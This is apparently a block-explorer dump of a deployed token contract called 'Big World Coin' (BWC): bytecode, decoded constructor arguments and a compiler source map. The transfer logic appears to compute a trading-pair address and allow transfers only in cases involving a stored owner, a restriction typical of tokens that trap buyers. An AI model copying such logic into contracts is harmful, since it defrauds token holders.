fffffff168573ffffffffffffffffffffffffffffffffffffffff161061101c57838561101f565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c92505050939250505056fea265627a7a72315820730044fb6189cd24057996d4178d0af34cd2678ddb27a359fe51356b2b09e05b64736f6c63430005110032

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000069e10de76676d0800000000000000000000000000000000000000000000000000000000000000000000e42696720576f726c6420436f696e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034257430000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): Big World Coin
Arg [1] : _symbol (string): BWC
Arg [2] : _supply (uint256): 500000000000000000000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000000000000000000000000069e10de76676d0800000
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [4] : 42696720576f726c6420436f696e000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : 4257430000000000000000000000000000000000000000000000000000000000

7826:3321:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10577:18;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10577:18:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;10577:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8685:213;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;8685:213:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;10547:23;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10547:23:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;8169:507;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;8169:507:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;10506:34;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10506:34:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10384:42;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10384:42:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;10384:42:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10602:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10602:20:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;10602:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8023:137;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;8023:137:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;9051:536;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;9051:536:0;;;;;;;;;;21:11:-1;8;5:28;2:2;;;46:1;43;36:12;2:2;9051:536:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;9051:536:0;;;;;;101:9:-1;95:2;81:12;77:21;67:8;63:36;60:51;39:11;25:12;22:29;11:108;8:2;;;132:1;129;122:12;8:2;9051:536:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;93:3;85:6;81:16;74:27;137:4;133:9;126:4;121:3;117:14;113:30;106:37;;169:3;161:6;157:16;147:26;;9051:536:0;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;8907:135;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;8907:135:0;;;;;;;;;;;;;;;;;;;;;21:11:-1;8;5:28;2:2;;;46:1;43;36:12;2:2;8907:135:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;8907:135:0;;;;;;100:9:-1;95:1;81:12;77:20;67:8;63:35;60:50;39:11;25:12;22:29;11:107;8:2;;;131:1;128;121:12;8:2;8907:135:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;93:3;85:6;81:16;74:27;137:4;133:9;126:4;121:3;117:14;113:30;106:37;;169:3;161:6;157:16;147:26;;8907:135:0;;;;;;;;;;;;;;;:::i;:::-;;10433:63;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10433:63:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;10433:63:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10577:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8685:213::-;8757:4;8808:6;8774:9;:21;8784:10;8774:21;;;;;;;;;;;;;;;:31;8796:8;8774:31;;;;;;;;;;;;;;;:40;;;;8851:8;8830:38;;8839:10;8830:38;;;8861:6;8830:38;;;;;;;;;;;;;;;;;;8886:4;8879:11;;8685:213;;;;:::o;10547:23::-;;;;:::o;8169:507::-;8275:4;8254:5;8261:3;9651:11;9665:110;9673:42;9717;9769:4;9665:7;:110::i;:::-;9651:124;;9803:5;;;;;;;;;;;9794:14;;:5;:14;;;:30;;;;9819:5;;;;;;;;;;;9812:12;;:3;:12;;;9794:30;:46;;;;9837:3;9828:12;;:5;:12;;;9794:46;9786:55;;;;;;8306:1;8296:6;:11;8292:31;;;8317:4;8310:11;;;;8292:31;8351:5;8337:19;;:10;:19;;;8333:152;;8413:6;8381:9;:16;8391:5;8381:16;;;;;;;;;;;;;;;:28;8398:10;8381:28;;;;;;;;;;;;;;;;:38;;8373:47;;;;;;8467:6;8435:9;:16;8445:5;8435:16;;;;;;;;;;;;;;;:28;8452:10;8435:28;;;;;;;;;;;;;;;;:38;;;;;;;;;;;8333:152;8523:6;8503:9;:16;8513:5;8503:16;;;;;;;;;;;;;;;;:26;;8495:35;;;;;;8561:6;8541:9;:16;8551:5;8541:16;;;;;;;;;;;;;;;;:26;;;;;;;;;;;8596:6;8578:9;:14;8588:3;8578:14;;;;;;;;;;;;;;;;:24;;;;;;;;;;;8634:3;8618:28;;8627:5;8618:28;;;8639:6;8618:28;;;;;;;;;;;;;;;;;;8664:4;8657:11;;9852:1;8169:507;;;;;;;;:::o;10506:34::-;10538:2;10506:34;:::o;10384:42::-;;;;;;;;;;;;;;;;;:::o;10602:20::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8023:137::-;8091:4;8115:37;8128:10;8140:3;8145:6;8115:12;:37::i;:::-;8108:44;;8023:137;;;;:::o;9051:536::-;9130:4;9170:5;;;;;;;;;;;9156:19;;:10;:19;;;9147:29;;;;;;9187:10;9209:4;:11;9200:6;:20;9187:33;;9264:5;9239:9;:21;9249:10;9239:21;;;;;;;;;;;;;;;;:30;;9231:39;;;;;;9306:5;9281:9;:21;9291:10;9281:21;;;;;;;;;;;;;;;;:30;;;;;;;;;;;9327:6;9336:1;9327:10;;9322:236;9343:4;:11;9339:1;:15;9322:236;;;9376:11;9390:4;9395:1;9390:7;;;;;;;;;;;;;;9376:21;;9430:6;9412:9;:14;9422:3;9412:14;;;;;;;;;;;;;;;;:24;;;;;;;;;;;9477:3;9456:35;;9465:10;9456:35;;;9489:1;9482:6;:8;;;;;;9456:35;;;;;;;;;;;;;;;;;;9532:3;9511:35;;9520:10;9511:35;;;9544:1;9537:6;:8;;;;;;9511:35;;;;;;;;;;;;;;;;;;9322:236;9356:3;;;;;;;9322:236;;;;9575:4;9568:11;;;9051:536;;;;:::o;8907:135::-;9000:5;;;;;;;;;;;8986:19;;:10;:19;;;8978:28;;;;;;9017:1;:14;;9032:1;9017:17;;;;;;;;;;;;;36:153:-1;66:2;61:3;58:11;36:153;;182:3;176:10;171:3;164:23;98:2;93:3;89:12;82:19;;123:2;118:3;114:12;107:19;;148:2;143:3;139:12;132:19;;36:153;;;274:1;267:3;263:2;259:12;254:3;250:22;246:30;315:4;311:9;305:3;299:10;295:26;356:4;350:3;344:10;340:21;389:7;380;377:20;372:3;365:33;3:399;;;9017:17:0;;;;;;;;;;;;;;;;;;;;;;;14:1:-1;21;16:31;;;;75:4;69:11;64:16;;144:4;140:9;133:4;115:16;111:27;107:43;104:1;100:51;94:4;87:65;169:16;166:1;159:27;225:16;222:1;215:4;212:1;208:12;193:49;7:242;;16:31;36:4;31:9;;7:242;;9017:17:0;;8907:135;;:::o;10433:63::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;9870:505::-;9959:12;9985:14;10001;10028:6;10019:15;;:6;:15;;;:53;;10057:6;10065;10019:53;;;10038:6;10046;10019:53;9984:88;;;;10174:7;10227:6;10235;10210:32;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;49:4:-1;39:7;30;26:21;22:32;13:7;6:49;10210:32:0;;;10200:43;;;;;;10113:251;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;49:4:-1;39:7;30;26:21;22:32;13:7;6:49;10113:251:0;;;10103:262;;;;;;10098:268;;10083:284;;9870:505;;;;;;;:::o

bzzr://730044fb6189cd24057996d4178d0af34cd2678ddb27a359fe51356b2b09e05b